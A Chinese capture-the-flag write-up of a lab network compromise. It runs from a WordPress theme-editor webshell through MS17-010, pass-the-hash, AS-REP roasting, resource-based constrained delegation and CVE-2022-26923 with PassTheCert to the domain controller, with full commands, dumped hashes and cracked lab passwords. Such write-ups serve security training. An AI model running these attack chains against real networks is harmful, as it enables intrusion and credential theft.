春秋云境·网鼎杯半决赛

考点:

  • wordpress插件rce
  • MS17-010
  • AS-REP Roasting
  • 基于资源的约束性委派
  • 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD

因为陇剑杯拿奖直通网鼎杯半决赛了,想来看看这个网鼎的渗透题,接连打了好几天,本地出了一堆傻逼问题,打完得玉玉症了只能说。

没钱了

题目环境是一个wordpress,后台直接弱密码admin/123456能登进去(听说当时比赛的时候是一个重置密码的0day)。因为有theme file editor,所以能直接改php文件,这里改404.php

/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone

连马

/wp-content/themes/twentytwentyone/404.php

拿flag

老规矩 传fscan和chisel,一个扫内网另一个搭隧道

172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.13:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:135 open
172.22.15.13:88 open
[*] NetInfo:
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetBios: 172.22.15.35    XIAORANG\XR-0687               
[+] 172.22.15.24    MS17-010    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo:
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo:
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetInfo:
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetBios: 172.22.15.13    [+]DC XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393 
[*] 172.22.15.13  (Windows Server 2016 Standard 14393)
[*] NetBios: 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] NetBios: 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135    title:None

一眼MS17-010,打这个永恒之蓝

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

第一次打了一直超时,第二次打完连上去了

dump哈希

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

哈希传递上去(不加gbk执行命令竟然会报错)

proxychains python3 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

然后即可拿flag

然后本来想改administrator密码rdp上去

但是rdp的时候出现一个很傻逼的报错

我本来以为是目标服务器没法连,看了下别人wp发现都能正常连接啊,又怀疑是不是对administrator用户做了啥限制,于是创了个新用户拉进administrator组了

net user fushuling qwer1234! /add
net localgroup administrators fushuling /add

结果还是不行,最后问了正正怀疑是不是防火墙的问题,把防火墙关了

NetSh Advfirewall set allprofiles state off

结果还是不行,最后发现是之前windows自动更新了,加了些傻逼限制,看这个博客最后成功解决了

https://blog.csdn.net/juanjuan_01/article/details/127005255

rdp上去看到有个phpstudy,看了下密码

看了下网站服务发现有phpmyadmin,用账号和密码登了一下,发现有个表有一堆域账户

导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来

import re

# 打开原始数据文件
with open('zdoosys_user.txt', 'r') as file:
    data = file.readlines()

# 提取指定字符串
users = []
for line in data:
    match = re.search(r'(\w+)@xiaorang.lab', line)
    if match:
        username = match.group(1)
        users.append(username)

# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
    for user in users:
        file.write(user + '\n')

跑一下有没有AS-REP Roasting

proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13  xiaorang.lab/ -usersfile user.txt

得到

$krb5asrep$23$lixiuying@XIAORANG.LAB:b6d02bf7c64150cada7b8102bebcfd7a$3e3fad748f163377180b2ea1ceca8b8cd6d919fd3ffcd4ff2091dddbd7499da96cb65bd7dbaaf9a03207b989f41813eed0ed28122252c86852f5ec8ebbb55d7b5ee57523297132090747949e008d424a6e15d68bd5b411fc5d39cef711428b69dc8a29c3130a65346ecca116a87cb41ca23f9207f48c4c8fc2dfe1f65e2336752163b4659f0266c871d3f683baa7ca759cc7296560f054e6afaa7da8185f07c824feccd0be9e090c9e39292a8959d4759b0f73ebbe6e87576a3b099c0288538d21137887f32e3f21596969ad5addb2a9e78ba192653409843030ab06ea168e339463c97d30e7af7ddee4b5d2
$krb5asrep$23$huachunmei@XIAORANG.LAB:2f922d3f5987a3f224d46a510602beb8$47163d6f5e86992ae809d63584defcd7a3c8e8d13784c8cb23e58ebd6bb79cf22b88df7721cde31dacc9040c574ac3e01d3cea71a99d85c258fadb75a4d004e67c8dd4f261c4d76e031c7fda418cf9d63cb8fa10b36c245e3187fd7ae4f2394a1ba9c66a237665db517e4b68338d4ca03a1e6b3cfb74e1cb8002703a047c953c378be542173276df4e3ad40e9b4969a1e7beac3d306dbe8ee5a9edd37bc7b18ea1c734cd9154845e9c71879107f221e6a299b64740b088c864bdd8eb7f0bcb03754e46ea51ebac52198649a895965b9ef0133390664aa9dbf7f6ca1b2a8c84fd4214c149c3bc4d6b0d43bb69
hashcat hash.txt /usr/share/wordlists/rockyou.txt

最后获得明文账号和密码

lixiuying:winniethepooh
huachunmei:1qaz2wsx

rdp上172.22.15.35

bloodhound发现lixiuying对XR-0687具有GenericWrite权限,能打RBCD

首先添加一个机器账户

impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13

然后装一个PowerView.ps1,rdp直接放上去,这东西用来获取机器id

Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid

得到机器id

S-1-5-21-3745972894-1678056601-2622918667-1147

修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

创建票据

proxychains4 impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 

导入票据

export KRB5CCNAME=administrator.ccache

然后本来就应该能连上去了,但我被拒绝了,离谱,票据都生成了还能访问失败,只能下次再战了

解决办法是改host

sudo vim /etc/hosts

然后即可无密码连上去

proxychains python3 psexec.py Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
此图片的alt属性为空;文件名为2-4.png

补一个小插曲,因为之前怀疑连不上去是因为代理的问题,所以换了Stowaway (当然后面发现不是这个问题),这个东西操作比chisel还低能,太好用了只能说。

服务器端运行命令开启监听

./linux_x64_admin -l 1234 -s 123

客户端运行

./linux_x64_agent -c Server_ip:1234 -s 123 --reconnect 8

连接建立之后选择use 0,就是选择这个新来的0号节点进行操作,然后socks 6666即可在6666端口建立socks5代理

打最后一个域控换了一堆方法没打出来,最后看x1r0z的博客打出来了。这里要打的其实是Certifried (CVE-2022–26923),是一个nday,不过考察的是KDC_ERR_PADATA_TYPE_NOSUPP出错情况下的打法:

首先添加用户(注意,这里的certipy不是出现命令不存在kali让你下载的那个,这个是个打CVE-2022–26923的工具:https://github.com/ly4k/Certipy/):

proxychains certipy account create -user 'TEST2$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'

添加成功说明漏洞存在,继续按流程走,申请证书模版,这里有点怪,第一次打完超时了,第二次打打出来了,和那个永恒之蓝一样,应该是环境的问题

proxychains certipy req -u 'TEST2$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'

按流程走下一步会出现报错:

$ proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: xr-dc01$@xiaorang.lab
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

然后这里的报错是因为 域控制器没有安装用于智能卡身份验证的证书,具体分析可以看whoami师傅的博客,但师傅博客上的我没打出来,后面看的x1r0z的博客,尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。

这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

whoami(脚本链接:https://github.com/AlmondOffSec/PassTheCert/)

proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

下一步将证书配置到域控的 RBCD

proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

接下来和之前一样申请ST

proxychains getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

接下来导入申请的票据

export KRB5CCNAME=Administrator.ccache

最后连接即可

proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
说起来这里是不是应该加-codec gbk,解码报错了,不过无伤大雅

注意,这里也得改host,不然连接超时

type C:\Users\Administrator\flag\flag04.txt

令人感叹

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇